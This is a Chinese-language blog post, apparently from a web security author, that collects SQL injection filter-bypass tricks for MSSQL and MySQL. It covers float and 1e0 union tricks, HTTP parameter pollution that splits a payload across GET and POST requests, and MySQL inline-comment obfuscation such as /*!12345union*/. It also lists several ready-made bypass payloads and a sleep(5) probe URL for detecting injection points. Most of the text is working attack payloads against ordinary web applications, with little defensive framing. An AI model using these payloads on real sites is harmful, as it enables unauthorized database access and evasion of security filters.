SQL注入绕过总结[持续更新]

MSSQL数据库特性

  • 注释绕过:
    • MSSQL也可以使用/**/注释
  • 浮点数:
    • select * from user where id=1.1union select 1,'2',db_name() from user
  • 1EO形式
    • select * from user where id=1e0union select 1,'2',db_name() from user

如执行

select * from user where id=1.eunion select xxxxxxx

等同于

select * from user where id=1 union select xxxxxxx

但是这样可以绕过对union select的防御

HPP特性

ASPX+IIS搭配的时候同时提交参数id,会接收所有的参数,通过逗号分割,比如在cookie、post、get里都传入id=1,那么最终的结果会是1,1,1

再比如这个url:http://www.a.com/index.php?id=1存在sql注入,那么可与这样子

get请求中传入如下参数

http://www.a.com/index.php?id=1.eunion/**/select null,null,name/*

然后在post请求中传入如下参数

id=*/from xxxxxxx

最终的输出结果就会变成这个样子

select * from 1.eunion/**/select null,null,name/*,*/from xxxxxxx

MYSQL特性

内联注释

内联注释:/*!12345union*/select

1.png-8kB

如下方法可以快速的检测某处是否存在sql注入漏洞

http://www.xxx.com/index.php?id=1/*!12345union*/select/*!union12345sleep(5)*/;

{x xxxx}

select * from {x user}

结果和这样一样

select * from user

1.png-8.9kB

E0

E0在mysql里是效果等于空格

1.png-18.6kB

浮点数

1.png-16kB

.1union select * from xxxxx

然后就会变成

select * from xxxx where id=1.1union select * from xxxxx

这样子的话id就是不存在然后就会执行后面的SQL语句

一些POC

1/*!12345select*//**/from
2/*!50001select*/from
3Select/**/column_name/**/from
4/*!/*!select*/column_name/*!/*!from*/
5、空格用/*!*/代替
6%53elect/*!1,2,schema_name%0aFROM
7、Get+Post,编码,超长内容等等。

Previous
我的小密圈 我的小密圈
小密圈介绍小密圈主要的是分享Web安全(漏洞挖掘,代码审计),渗透测试(getshell分析,新爆漏洞分析等),还有一些其他有趣的东西,价格暂时为111(其实价格不算贵,毕竟知识是无价的,而且我在拿这些入圈费进行一些秘密活动~~ 总之收益大
2019-01-18 only_free
Next
端口信息总结 端口信息总结
端口:0服务:Reserved说明:通常用于分析操作系统。这一方法能够工作是因为在一些系统中“0”是无效端口,当你试图使用通常的闭合端口连接它时将产生不同的结果。一种典型的扫描,使用IP地址为0.0.0.0,设置ACK位并在以太网层广播。
2019-01-14
TOC